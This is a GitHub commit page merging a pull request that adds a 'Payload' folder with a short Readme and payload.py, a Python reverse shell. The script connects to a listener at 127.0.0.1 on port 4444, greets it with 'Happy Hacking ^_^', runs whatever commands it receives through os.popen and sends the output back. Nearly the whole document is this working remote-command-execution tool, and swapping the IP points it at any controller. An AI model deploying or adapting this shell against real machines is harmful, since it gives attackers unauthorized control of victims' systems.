Skip to content

Commit b167f0e

Browse files
Merge pull request #511 from shraddha761/payload
Payload script
2 parents e567ceb + 3149adf commit b167f0e

3 files changed

Lines changed: 144 additions & 0 deletions

File tree

Payload/Readme.md

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
# Payload
2+
3+
A reverse connection script is a piece of code designed to establish a network connection from a target system back to a source system. This can be used for legitimate purposes, such as remote administration or troubleshooting, as well as for malicious activities like unauthorized access or hacking.
4+

Payload/payload.py

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
2+
import socket
3+
import os
4+
5+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
6+
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
7+
s.setblocking(1)
8+
9+
ip = "127.0.0.1"
10+
port = 4444
11+
12+
s.connect((ip,port))
13+
14+
s.send(b'Happy Hacking ^_^\n')
15+
while True:
16+
try:
17+
command = s.recv(1024).decode('utf-8')
18+
command = str(command)
19+
if "cd" in command:
20+
command = command.replace("\n","")
21+
command = os.chdir(command.split('cd ')[1])
22+
com = os.popen("ls")
23+
result = str(com.read()).encode('utf-8')
24+
s.send(result)
25+
else:
26+
treating = os.popen(command)
27+
results = str(treating.read())
28+
results = results.encode('utf-8')
29+
s.send(results)
30+
except socket.error:
31+
exit(0)
32+
except OSError:
33+
s.send(b'file not found!\n')
34+
except IndexError:
35+
s.send(b'try again!\n')
36+
except UnicodeEncodeError:
37+
send(b'problem in coding\n')
38+
except KeyboardInterrupt:
39+
s.send(b'connection closed !!\n')
40+
exit(0)

0 commit comments

Comments
 (0)